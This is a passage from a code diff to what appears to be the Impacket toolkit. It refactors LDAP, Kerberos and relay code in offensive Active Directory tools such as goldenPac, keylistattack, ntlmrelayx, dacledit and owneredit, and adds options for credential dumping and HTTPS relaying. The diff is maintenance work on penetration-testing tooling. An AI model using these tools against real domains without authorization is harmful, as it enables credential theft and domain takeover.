search_entries(self.ldap_session, '(sAMAccountName=%s)' % escape_filter_chars(samname), self.base_dn, attributes=['objectSid']) try: - dn = self.ldap_session.entries[0].entry_dn - sid = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) + dn = get_entry_dn(entries[0]) + sid = as_sid_string(get_entry_value(entries[0], 'objectSid')) return dn, sid - except IndexError: + except (IndexError, TypeError): logging.error('User not found in LDAP: %s' % samname) return False @@ -459,10 +452,9 @@ def resolveSID(self, sid): return WELL_KNOWN_SIDS[sid] # Tries to resolve the SID from the LDAP domain dump else: - self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % sid, attributes=['samaccountname']) + entries = search_entries(self.ldap_session, '(objectSid=%s)' % sid, self.base_dn, attributes=['samaccountname']) try: - dn = self.ldap_session.entries[0].entry_dn - samname = self.ldap_session.entries[0]['samaccountname'] + samname = as_string(get_entry_value(entries[0], 'samaccountname')) return samname except IndexError: logging.debug('SID not found in LDAP: %s' % sid) @@ -569,12 +561,12 @@ def printparsedDACL(self, parsed_dacl): if self.principal_SID is None and self.principal_sAMAccountName or self.principal_DN: if self.principal_sAMAccountName is not None: _lookedup_principal = self.principal_sAMAccountName - self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), attributes=['objectSid']) + entries = search_entries(self.ldap_session, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_principal), self.base_dn, attributes=['objectSid']) elif self.principal_DN is not None: _lookedup_principal = self.principal_DN - self.ldap_session.search(_lookedup_principal, '(distinguishedName=%s)' % _lookedup_principal, attributes=['objectSid']) + entries = search_entries(self.ldap_session, '(distinguishedName=%s)' % escape_filter_chars(_lookedup_principal), self.base_dn, attributes=['objectSid']) try: - self.principal_SID = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) + self.principal_SID = as_sid_string(get_entry_value(entries[0], 'objectSid')) except IndexError: logging.error('Principal not found in LDAP (%s)' % _lookedup_principal) return False @@ -628,20 +620,12 @@ def build_guids_for_rights(self): # - secDesc : the Security Descriptor with the new DACL to push def modify_secDesc_for_dn(self, dn, secDesc): data = secDesc.getData() - controls = security_descriptor_control(sdflags=0x04) logging.debug('Attempts to modify the Security Descriptor.') - self.ldap_session.modify(dn, {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [data])}, controls=controls) - if self.ldap_session.result['result'] == 0: + try: + self.ldap_session.modify(dn, {'nTSecurityDescriptor': [(ldap.MODIFY_REPLACE, [data])]}, controls=self.dacl_controls) logging.info('DACL modified successfully!') - else: - if self.ldap_session.result['result'] == 50: - logging.error('Could not modify object, the server reports insufficient rights: %s', - self.ldap_session.result['message']) - elif self.ldap_session.result['result'] == 19: - logging.error('Could not modify object, the server reports a constrained violation: %s', - self.ldap_session.result['message']) - else: - logging.error('The server returned an error: %s', self.ldap_session.result['message']) + except ldap.LDAPSessionError as error: + log_ldap_error('Could not modify object', error) # Builds a standard ACE for a specified access mask (rights) and a specified SID (the principal who obtains the right) @@ -769,8 +753,10 @@ def main(): domain, username, password, lmhash, nthash, args.k = parse_identity(args.identity, args.hashes, args.no_pass, args.aesKey, args.k) try: - ldap_server, ldap_session = init_ldap_session(domain, username, password, lmhash, nthash, args.k, args.dc_ip, args.dc_host, args.aesKey, args.use_ldaps) - dacledit = DACLedit(ldap_server, ldap_session, args) + base_dn = ','.join('dc=%s' % part for part in domain.split('.')) + target = args.dc_host if args.dc_host is not None else domain + ldap_session = ldap_login(target, base_dn, args.dc_ip, args.dc_host, args.k, username, password, domain, lmhash, nthash, args.aesKey, ldaps_flag=args.use_ldaps) + dacledit = DACLedit(ldap_session, base_dn, args) if args.action == 'read': dacledit.read() elif args.action == 'write': diff --git a/examples/dpapi.py b/examples/dpapi.py index bd0f102cc5..53e62e0911 100755 --- a/examples/dpapi.py +++ b/examples/dpapi.py @@ -70,13 +70,16 @@ def __init__(self, options): self.dpapiSystem = {} pass + def parseHexKey(self, key): + return unhexlify(key.removeprefix("0x")) + def getDPAPI_SYSTEM(self,secretType, secret): if secret.startswith("dpapi_machinekey:"): machineKey, userKey = secret.split('\n') machineKey = machineKey.split(':')[1] userKey = userKey.split(':')[1] - self.dpapiSystem['MachineKey'] = unhexlify(machineKey[2:]) - self.dpapiSystem['UserKey'] = unhexlify(userKey[2:]) + self.dpapiSystem['MachineKey'] = self.parseHexKey(machineKey) + self.dpapiSystem['UserKey'] = self.parseHexKey(userKey) def getLSA(self): localOperations = LocalOperations(self.options.system) @@ -164,7 +167,7 @@ def run(self): print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return elif self.options.key and self.options.sid: - key = unhexlify(self.options.key[2:]) + key = self.parseHexKey(self.options.key) key1, key2 = deriveKeysFromUserkey(self.options.sid, key) decryptedKey = mk.decrypt(key1) if decryptedKey: @@ -177,7 +180,7 @@ def run(self): print('Decrypted key: 0x%s' % hexlify(decryptedKey).decode('latin-1')) return elif self.options.key: - key = unhexlify(self.options.key[2:]) + key = self.parseHexKey(self.options.key) decryptedKey = mk.decrypt(key) if decryptedKey: print('Decrypted key with key provided') @@ -393,7 +396,7 @@ def run(self): blob = DPAPI_BLOB(cred['Data']) if self.options.key is not None: - key = unhexlify(self.options.key[2:]) + key = self.parseHexKey(self.options.key) decrypted = blob.decrypt(key) if decrypted is not None: creds = CREDENTIAL_BLOB(decrypted) @@ -413,7 +416,7 @@ def run(self): blob = VAULT_VCRD(data) if self.options.key is not None: - key = unhexlify(self.options.key[2:]) + key = self.parseHexKey(self.options.key) cleartext = None for i, entry in enumerate(blob.attributesLen): @@ -445,7 +448,7 @@ def run(self): vpol.dump() if self.options.key is not None: - key = unhexlify(self.options.key[2:]) + key = self.parseHexKey(self.options.key) blob = vpol['Blob'] data = blob.decrypt(key) if data is not None: @@ -458,7 +461,7 @@ def run(self): blob = DPAPI_BLOB(data) if self.options.key is not None: - key = unhexlify(self.options.key[2:]) + key = self.parseHexKey(self.options.key) if self.options.entropy_file is not None: fp2 = open(self.options.entropy_file, 'rb') entropy = fp2.read() @@ -471,7 +474,11 @@ def run(self): decrypted = blob.decrypt(key, entropy) if decrypted is not None: print('Successfully decrypted data') - hexdump(decrypted) + if self.options.outfile is not None: + with open(self.options.outfile, 'wb') as f: + f.write(decrypted) + else: + hexdump(decrypted) return else: # Just print the data @@ -488,7 +495,7 @@ def run(self): # Handle key options if self.options.key: - key = unhexlify(self.options.key[2:]) + key = self.parseHexKey(self.options.key) keys = deriveKeysFromUserkey(chf.credhist_entries_list[0].sid, key) # Only other option is using a password @@ -602,6 +609,7 @@ def run(self): unprotect.add_argument('-key', action='store', required=False, help='Key used for decryption') unprotect.add_argument('-entropy', action='store', default=None, required=False, help='String with extra entropy needed for decryption') unprotect.add_argument('-entropy-file', action='store', default=None, required=False, help='File with binary entropy contents (overwrites -entropy)') + unprotect.add_argument('-outfile', action='store', default=None, required=False, help='File to write decrypted data to (if not specified, it will be printed as hexdump)') # A CREDHIST command credhist = subparsers.add_parser('credhist', help='CREDHIST related functions') diff --git a/examples/getPac.py b/examples/getPac.py index 080693da71..d2ae24dbe5 100755 --- a/examples/getPac.py +++ b/examples/getPac.py @@ -45,7 +45,7 @@ from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, PA_FOR_USER_ENC, \ EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1 from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, Enctype -from impacket.krb5.kerberosv5 import getKerberosTGT, sendReceive +from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGSRequestEnctypes, sendReceive from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, KERB_VALIDATION_INFO, PAC_CLIENT_INFO_TYPE, PAC_CLIENT_INFO, \ PAC_SERVER_CHECKSUM, PAC_SIGNATURE_DATA, PAC_PRIVSVR_CHECKSUM, PAC_UPN_DNS_INFO, UPN_DNS_INFO from impacket.krb5.types import Principal, KerberosTime, Ticket @@ -242,8 +242,7 @@ def dump(self): reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) - seq_set_iter(reqBody, 'etype', - (int(cipher.enctype),int(constants.EncryptionTypes.rc4_hmac.value))) + seq_set_iter(reqBody, 'etype', getKerberosTGSRequestEnctypes()) # If you comment these two lines plus enc_tkt_in_skey as option, it is bassically a S4USelf myTicket = ticket.to_asn1(TicketAsn1()) diff --git a/examples/getST.py b/examples/getST.py index 377a0f5b1a..7ab44c8bde 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -74,7 +74,7 @@ from impacket.krb5.ccache import CCache, Credential from impacket.krb5.crypto import Key, _enctype_table, _HMACMD5, _AES256CTS, Enctype, string_to_key, _get_checksum_profile, Cksumtype from impacket.krb5.constants import TicketFlags, encodeFlags, ApplicationTagNumbers -from impacket.krb5.kerberosv5 import getKerberosTGS, getKerberosTGT, sendReceive +from impacket.krb5.kerberosv5 import getKerberosTGS, getKerberosTGT, getKerberosTGSRequestEnctypes, sendReceive from impacket.krb5.types import Principal, KerberosTime, Ticket from impacket.ntlm import compute_nthash from impacket.winregistry import hexdump @@ -348,14 +348,7 @@ def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) - seq_set_iter(reqBody, 'etype', - ( - int(constants.EncryptionTypes.rc4_hmac.value), - int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), - int(constants.EncryptionTypes.des_cbc_md5.value), - int(cipher.enctype) - ) - ) + seq_set_iter(reqBody, 'etype', getKerberosTGSRequestEnctypes()) message = encoder.encode(tgsReq) logging.info('Requesting S4U2Proxy') @@ -535,8 +528,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) - seq_set_iter(reqBody, 'etype', - (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value))) + seq_set_iter(reqBody, 'etype', getKerberosTGSRequestEnctypes()) if self.__options.u2u: seq_set_iter(reqBody, 'additional-tickets', (ticket.to_asn1(TicketAsn1()),)) @@ -764,14 +756,7 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) - seq_set_iter(reqBody, 'etype', - ( - int(constants.EncryptionTypes.rc4_hmac.value), - int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), - int(constants.EncryptionTypes.des_cbc_md5.value), - int(cipher.enctype) - ) - ) + seq_set_iter(reqBody, 'etype', getKerberosTGSRequestEnctypes()) message = encoder.encode(tgsReq) logging.info('Requesting S4U2Proxy') @@ -784,11 +769,25 @@ def run(self): # Do we have a TGT cached? domain, _, TGT, _ = CCache.parseFile(self.__domain) - # ToDo: Check this TGT belogns to the right principal if TGT is not None: - tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey'] - oldSessionKey = sessionKey - + cachedClientPrincipal = TGT['client'] + cachedUser = "/".join(component["data"].decode("utf-8") for component in cachedClientPrincipal.components) + cachedDomain = cachedClientPrincipal.realm['data'].decode('utf-8') + + if (self.__user.lower() != cachedUser.lower()) or (self.__domain.lower() != cachedDomain.lower()): + logging.warning( + "Cached TGT belongs to '%s@%s', " + "but the requested principal is '%s@%s'. " + "Ignoring cached TGT and requesting a new one.", + cachedUser, + cachedDomain, + self.__user, + self.__domain, + ) + else: + tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey'] + oldSessionKey = sessionKey + if tgt is None: # Still no TGT userName = Principal(self.__user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) diff --git a/examples/goldenPac.py b/examples/goldenPac.py index 045d87c016..5fb48e6fe4 100755 --- a/examples/goldenPac.py +++ b/examples/goldenPac.py @@ -571,11 +571,11 @@ def getGoldenPAC(self, authTime): # 2) PAC_CLIENT_INFO pacClientInfo = PAC_CLIENT_INFO() pacClientInfo['ClientId'] = unixTime - try: - name = self.__username.encode('utf-16le') - except UnicodeDecodeError: + username = self.__username + if isinstance(username, bytes): import sys - name = self.__username.decode(sys.getfilesystemencoding()).encode('utf-16le') + username = username.decode(sys.getfilesystemencoding()) + name = username.encode('utf-16le') pacClientInfo['NameLength'] = len(name) pacClientInfo['Name'] = name pacClientInfoBlob = pacClientInfo.getData() @@ -719,7 +719,7 @@ def getKerberosTGS(self, serverName, domain, kdcHost, tgt, cipher, sessionKey, a reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.SystemRandom().getrandbits(31) - seq_set_iter(reqBody, 'etype', (cipher.enctype,)) + seq_set_iter(reqBody, 'etype', getKerberosTGSRequestEnctypes()) reqBody['enc-authorization-data'] = noValue reqBody['enc-authorization-data']['etype'] = int(cipher.enctype) reqBody['enc-authorization-data']['cipher'] = encryptedEncodedIfRelevant @@ -789,9 +789,10 @@ def getKerberosTGS(self, serverName, domain, kdcHost, tgt, cipher, sessionKey, a encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0] - newSessionKey = Key(cipher.enctype, encTGSRepPart['key']['keyvalue'].asOctets()) - - return r, cipher, sessionKey, newSessionKey + newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue'].asOctets()) + newCipher = _enctype_table[encTGSRepPart['key']['keytype']] + + return r, newCipher, sessionKey, newSessionKey def getForestSid(self): logging.debug('Calling NRPC DsrGetDcNameEx()') @@ -1055,11 +1056,12 @@ def exploit(self): from impacket.dcerpc.v5 import transport from impacket.krb5.types import Principal, Ticket, KerberosTime from impacket.krb5 import constants - from impacket.krb5.kerberosv5 import sendReceive, getKerberosTGT, getKerberosTGS, KerberosError + from impacket.krb5.kerberosv5 import sendReceive, getKerberosTGT, getKerberosTGS, \ + getKerberosTGSRequestEnctypes, KerberosError from impacket.krb5.asn1 import AS_REP, TGS_REQ, AP_REQ, TGS_REP, Authenticator, EncASRepPart, AuthorizationData, \ AD_IF_RELEVANT, seq_set, seq_set_iter, KERB_PA_PAC_REQUEST, \ EncTGSRepPart, ETYPE_INFO2_ENTRY - from impacket.krb5.crypto import Key + from impacket.krb5.crypto import Key, _enctype_table from impacket.dcerpc.v5.ndr import NDRULONG from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, \ SE_GROUP_ENABLED, USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD diff --git a/examples/karmaSMB.py b/examples/karmaSMB.py index 9df8ebff4b..c579ad5871 100755 --- a/examples/karmaSMB.py +++ b/examples/karmaSMB.py @@ -381,12 +381,10 @@ def smb2Create(self, connId, smbServer, recvPacket): targetFile = '/' # 2. We change the filename in the request for our targetFile - try: - ntCreateRequest['Buffer'] = targetFile.encode('utf-16le') - except UnicodeDecodeError: - import sys - ntCreateRequest['Buffer'] = targetFile.decode(sys.getfilesystemencoding()).encode('utf-16le') - ntCreateRequest['NameLength'] = len(targetFile)*2 + if isinstance(targetFile, bytes): + targetFile = targetFile.decode(sys.getfilesystemencoding()) + ntCreateRequest['Buffer'] = targetFile.encode('utf-16le') + ntCreateRequest['NameLength'] = len(ntCreateRequest['Buffer']) recvPacket['Data'] = ntCreateRequest.getData() # 3. We call the original call with our modified data diff --git a/examples/keylistattack.py b/examples/keylistattack.py index 150a182c0a..11a141d9a3 100644 --- a/examples/keylistattack.py +++ b/examples/keylistattack.py @@ -59,6 +59,7 @@ def __init__(self, remoteName, username, password, domain, options, enum, target self.__kdcHost = options.dc_ip self.__rodc = options.rodcNo # self.__kvno = 1 + self.__domainSid = options.domain_sid self.__enum = enum self.__targets = targets self.__full = options.full @@ -96,6 +97,7 @@ def run(self): self.connect() self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost) self.__remoteOps.connectSamr(self.__domain) + self.__domainSid = self.__remoteOps.getDomainSid() self.__keyListSecrets = KeyListSecrets(self.__domain, self.__remoteName, self.__rodc, self.__aesKeyRodc, self.__remoteOps) logging.info('Enumerating target users. This may take a while on large domains') if self.__full is True: @@ -107,12 +109,20 @@ def run(self): self.__keyListSecrets = KeyListSecrets(self.__domain, self.__remoteName, self.__rodc, self.__aesKeyRodc, None) targetList = self.__targets + if self.__domainSid is None: + logging.warning('No domain SID available; the ticket PAC will use a placeholder identity. ' + 'PAC-hardened DCs may reject it -- provide -domain-sid in LIST mode.') + logging.info('Dumping Domain Credentials (domain\\uid:[rid]:nthash)') logging.info('Using the KERB-KEY-LIST request method. Tickets everywhere!') for targetUser in targetList: - user = targetUser.split(":")[0] + user, _, ridStr = targetUser.rpartition(":") if ":" in targetUser else (targetUser, "", "") + try: + userRid = int(ridStr) + except ValueError: + userRid = None targetUserName = Principal('%s' % user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - partialTGT, sessionKey = self.__keyListSecrets.createPartialTGT(targetUserName) + partialTGT, sessionKey = self.__keyListSecrets.createPartialTGT(targetUserName, userRid, self.__domainSid) fullTGT = self.__keyListSecrets.getFullTGT(targetUserName, partialTGT, sessionKey) if fullTGT is not None: key = self.__keyListSecrets.getKey(fullTGT, sessionKey) @@ -158,8 +168,13 @@ def getAllDomainUsers(self): group = parser.add_argument_group('LIST option') group.add_argument('-domain', action='store', help='The fully qualified domain name (only works with LIST)') group.add_argument('-kdc', action='store', help='KDC HostName or FQDN (only works with LIST)') - group.add_argument('-t', action='store', help='Attack only the username specified (only works with LIST)') - group.add_argument('-tf', action='store', help='File that contains a list of target usernames (only works with LIST)') + group.add_argument('-t', action='store', help='Attack only the username specified, optionally as username:rid ' + '(only works with LIST)') + group.add_argument('-tf', action='store', help='File that contains a list of target usernames, one per line, ' + 'optionally as username:rid (only works with LIST)') + group.add_argument('-domain-sid', action='store', help='Domain SID, used to build the ticket PAC (only works ' + 'with LIST; obtained automatically via SAMR otherwise). ' + 'Recommended against PAC-hardened DCs') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='Use NTLM hashes to authenticate to SMB ' @@ -211,7 +226,7 @@ def getAllDomainUsers(self): for line in f: target = line.strip() if target != '' and target[0] != '#': - targets.append(target + ":" + "N/A") + targets.append(target) except IOError as error: logging.error("Could not open file: %s - %s", options.tf, str(error)) sys.exit(1) diff --git a/examples/mssqlclient.py b/examples/mssqlclient.py index 586d20c1de..beaa68957c 100755 --- a/examples/mssqlclient.py +++ b/examples/mssqlclient.py @@ -25,7 +25,7 @@ from impacket.examples import logger from impacket.examples.mssqlshell import SQLSHELL -from impacket.examples.utils import parse_target +from impacket.examples.utils import parse_credentials, parse_target from impacket import version, tds @@ -38,6 +38,7 @@ parser.add_argument('-db', action='store', help='MSSQL database instance (default None)') parser.add_argument('-windows-auth', action='store_true', default=False, help='whether or not to use Windows ' 'Authentication (default False)') + parser.add_argument('-named-pipe', action='store', default=False, help='Connect to the specified SMB named pipe') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') parser.add_argument('-show', action='store_true', help='show the queries') @@ -51,6 +52,12 @@ group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') + group.add_argument('-auth-smb', action="store", metavar='[domain/]username[:password]', + help='SMB NTLM credentials for named pipe transport when different from SQL credentials. ' + 'With -windows-auth or -k over a named pipe, this Windows identity becomes the ' + 'effective SQL login') + group.add_argument('-hashes-smb', action="store", metavar="LMHASH:NTHASH", + help='SMB NTLM hashes for named pipe transport, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' @@ -91,14 +98,55 @@ if options.aesKey is not None: options.k = True - ms_sql = tds.MSSQL(options.target_ip, int(options.port), remoteName, workstation_id=options.host_name, application_name=options.app_name, client_interface_name=options.client_interface_name) + if options.named_pipe and options.auth_smb is not None and (options.windows_auth or options.k): + logging.warning( + "SQL Server uses the SMB-authenticated Windows identity for Windows authentication over named pipes. " + "The identity supplied in the target may not become the effective SQL login." + ) + + smb_domain = None + smb_username = None + smb_password = None + if options.auth_smb is not None: + smb_domain, smb_username, smb_password = parse_credentials(options.auth_smb) + if smb_domain is None: + smb_domain = '' + if smb_password == '' and smb_username != '' and options.hashes_smb is None and options.no_pass is False: + from getpass import getpass + smb_password = getpass("SMB Password:") + + ms_sql = tds.MSSQL( + options.target_ip, + port=int(options.port), + remoteName=remoteName, + remoteHost=options.target_ip, + pipe_name=options.named_pipe, + workstation_id=options.host_name, + application_name=options.app_name, + client_interface_name=options.client_interface_name + ) + ms_sql.connect() try: if options.k is True: - res = ms_sql.kerberosLogin(options.db, username, password, domain, options.hashes, options.aesKey, - kdcHost=options.dc_ip) + res = ms_sql.kerberosLogin( + options.db, + username, + password, + domain, + options.hashes, + options.aesKey, + kdcHost=options.dc_ip, + smbUsername=smb_username, + smbPassword=smb_password, + smbDomain=smb_domain, + smbHashes=options.hashes_smb, + ) else: - res = ms_sql.login(options.db, username, password, domain, options.hashes, options.windows_auth) + res = ms_sql.login( + options.db, username, password, domain, options.hashes, options.windows_auth, + smbUsername=smb_username, smbPassword=smb_password, smbDomain=smb_domain, smbHashes=options.hashes_smb + ) ms_sql.printReplies() except Exception as e: logging.debug("Exception:", exc_info=True) diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index 2b2b22aa5d..43c77b9286 100644 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -195,7 +195,7 @@ def start_servers(options, threads): c.setLootdir(options.lootdir) c.setOutputFile(options.output_file) c.setdumpHashes(options.dump_hashes) - c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.dump_adcs, options.sid, options.add_dns_record, options.dump_info_attr) + c.setLDAPOptions(options.no_dump, options.no_da, options.no_acl, options.no_validate_privs, options.escalate_user, options.add_computer, options.delegate_access, options.dump_laps, options.dump_gmsa, options.dump_adcs, options.sid, options.add_dns_record, options.dump_info_attr, options.dump_pre2k) c.setRPCOptions(options.rpc_mode, options.rpc_use_smb, options.auth_smb, options.hashes_smb, options.rpc_smb_port, options.icpr_ca_name) c.setMSSQLOptions(options.query) c.setInteractive(options.interactive) @@ -221,6 +221,7 @@ def start_servers(options, threads): c.setAltName(options.altname) c.setAltSid(options.altSid) + c.setHTTPS(options.https, options.certfile, options.keyfile) #If the redirect option is set, configure the HTTP server to redirect targets to SMB if server is HTTPRelayServer and options.r is not None: @@ -387,6 +388,12 @@ def stop_servers(threads): httpoptions.add_argument('-domain', action="store", help='Domain FQDN or IP to connect using NETLOGON') httpoptions.add_argument('-remove-target', action='store_true', default=False, help='Try to remove the target in the challenge message (in case CVE-2019-1019 patch is not installed)') + httpoptions.add_argument('--https', action='store_true', + help='Enable TLS (HTTPS) on the HTTP relay server') + httpoptions.add_argument('--certfile', action='store', metavar='FILE', + help='Path to server certificate (PEM format) for HTTPS') + httpoptions.add_argument('--keyfile', action='store', metavar='FILE', + help='Path to private key (PEM format) for HTTPS, if not included in the certificate file') #LDAP options ldapoptions = parser.add_argument_group("LDAP client options") @@ -401,6 +408,7 @@ def stop_servers(threads): ldapoptions.add_argument('--dump-gmsa', action='store_true', required=False, help='Attempt to dump any gMSA passwords readable by the user') ldapoptions.add_argument('--dump-adcs', action='store_true', required=False, help='Attempt to dump ADCS enrollment services and certificate templates info') ldapoptions.add_argument('--dump-info-attr', action='store_true', required=False, help='Attempt to dump the info attribute of all user and group domain objects (may contain credentials)') + ldapoptions.add_argument('--dump-pre2k', action='store_true', required=False, help='Enumerate computer accounts vulnerable to pre-Windows 2000 authentication (predictable password)') ldapoptions.add_argument('--add-dns-record', nargs=2, action='store', metavar=('NAME', 'IPADDR'), required=False, help='Add the record to DNS via LDAP pointing to ') #Common options for SMB and LDAP @@ -457,6 +465,9 @@ def stop_servers(threads): logging.error(str(e)) sys.exit(1) + if options.https and options.certfile is None: + parser.error('--https requires --certfile') + if options.rpc_use_smb and not options.auth_smb: logging.error("Set -auth-smb to relay DCE/RPC to SMB pipes") sys.exit(1) diff --git a/examples/owneredit.py b/examples/owneredit.py index a4b3edb844..afb1db86fd 100644 --- a/examples/owneredit.py +++ b/examples/owneredit.py @@ -20,17 +20,14 @@ import sys import traceback -import ldap3 -import ldapdomaindump -from ldap3.protocol.formatters.formatters import format_sid - from impacket import version from impacket.examples import logger, utils -from impacket.ldap import ldaptypes -from ldap3.utils.conv import escape_filter_chars -from ldap3.protocol.microsoft import security_descriptor_control +from impacket.ldap import ldap, ldapasn1, ldaptypes +from impacket.ldap.ldap import escape_filter_chars, get_entry_dn, get_entry_value -from impacket.examples.utils import init_ldap_session, parse_identity +from impacket.examples.utils import (ldap_login, parse_identity, + ldap_value_to_bytes, as_string, as_sid_string, + search_entries, log_ldap_error) # Universal SIDs @@ -112,10 +109,10 @@ } class OwnerEdit(object): - def __init__(self, ldap_server, ldap_session, args): + def __init__(self, ldap_session, base_dn, args): super(OwnerEdit, self).__init__() - self.ldap_server = ldap_server self.ldap_session = ldap_session + self.base_dn = base_dn self.target_sAMAccountName = args.target_sAMAccountName self.target_SID = args.target_SID @@ -125,16 +122,13 @@ def __init__(self, ldap_server, ldap_session, args): self.new_owner_SID = args.new_owner_SID self.new_owner_DN = args.new_owner_DN - logging.debug('Initializing domainDumper()') - cnf = ldapdomaindump.domainDumpConfig() - cnf.basepath = None - self.domain_dumper = ldapdomaindump.domainDumper(self.ldap_server, self.ldap_session, cnf) + self.owner_sd_controls = [ldapasn1.SDFlagsControl(flags=0x01)] if self.target_sAMAccountName or self.target_SID or self.target_DN: # Searching for target account with its security descriptor self.search_target_principal_security_descriptor() # Extract security descriptor data - self.target_principal_raw_security_descriptor = self.target_principal['nTSecurityDescriptor'].raw_values[0] + self.target_principal_raw_security_descriptor = ldap_value_to_bytes(get_entry_value(self.target_principal, 'nTSecurityDescriptor')) self.target_principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.target_principal_raw_security_descriptor) # Searching for the owner SID if any owner argument was given and new_owner_SID wasn't @@ -142,25 +136,25 @@ def __init__(self, ldap_server, ldap_session, args): _lookedup_owner = "" if self.new_owner_sAMAccountName is not None: _lookedup_owner = self.new_owner_sAMAccountName - self.ldap_session.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_owner), attributes=['objectSid']) + entries = search_entries(self.ldap_session, '(sAMAccountName=%s)' % escape_filter_chars(_lookedup_owner), self.base_dn, attributes=['objectSid']) elif self.new_owner_DN is not None: _lookedup_owner = self.new_owner_DN - self.ldap_session.search(_lookedup_owner, '(distinguishedName=%s)' % _lookedup_owner, attributes=['objectSid']) + entries = search_entries(self.ldap_session, '(distinguishedName=%s)' % escape_filter_chars(_lookedup_owner), self.base_dn, attributes=['objectSid']) try: - self.new_owner_SID = format_sid(self.ldap_session.entries[0]['objectSid'].raw_values[0]) + self.new_owner_SID = as_sid_string(get_entry_value(entries[0], 'objectSid')) logging.debug("Found new owner SID: %s" % self.new_owner_SID) except IndexError: logging.error('New owner SID not found in LDAP (%s)' % _lookedup_owner) exit(1) def read(self): - current_owner_SID = format_sid(self.target_principal_security_descriptor['OwnerSid']).formatCanonical() + current_owner_SID = self.target_principal_security_descriptor['OwnerSid'].formatCanonical() logging.info("Current owner information below") logging.info("- SID: %s" % current_owner_SID) logging.info("- sAMAccountName: %s" % self.resolveSID(current_owner_SID)) - self.ldap_session.search(self.domain_dumper.root, '(objectSid=%s)' % current_owner_SID, attributes=['distinguishedName']) - current_owner_distinguished_name = self.ldap_session.entries[0] - logging.info("- distinguishedName: %s" % current_owner_distinguished_name['distinguishedName']) + current_owner_entries = search_entries(self.ldap_session, '(objectSid=%s)' % current_owner_SID, self.base_dn, attributes=['distinguishedName']) + current_owner_distinguished_name = as_string(get_entry_value(current_owner_entries[0], 'distinguishedName')) + logging.info("- distinguishedName: %s" % current_owner_distinguished_name) def write(self): logging.debug('Attempt to modify the OwnerSid') @@ -170,40 +164,31 @@ def write(self): # _new_owner_SID['SubLen'] = len(_new_owner_SID['SubAuthority']) self.target_principal_security_descriptor['OwnerSid'] = _new_owner_SID - self.ldap_session.modify( - self.target_principal.entry_dn, - {'nTSecurityDescriptor': (ldap3.MODIFY_REPLACE, [ - self.target_principal_security_descriptor.getData() - ])}, - controls=security_descriptor_control(sdflags=0x01)) - if self.ldap_session.result['result'] == 0: + try: + self.ldap_session.modify( + get_entry_dn(self.target_principal), + {'nTSecurityDescriptor': [(ldap.MODIFY_REPLACE, [ + self.target_principal_security_descriptor.getData() + ])]}, + controls=self.owner_sd_controls) logging.info('OwnerSid modified successfully!') - else: - if self.ldap_session.result['result'] == 50: - logging.error('Could not modify object, the server reports insufficient rights: %s', - self.ldap_session.result['message']) - elif self.ldap_session.result['result'] == 19: - logging.error('Could not modify object, the server reports a constrained violation: %s', - self.ldap_session.result['message']) - else: - logging.error('The server returned an error: %s', self.ldap_session.result['message']) + except ldap.LDAPSessionError as error: + log_ldap_error('Could not modify object', error) # Attempts to retrieve the Security Descriptor of the specified target def search_target_principal_security_descriptor(self): _lookedup_principal = "" - # Set SD flags to only query for OwnerSid 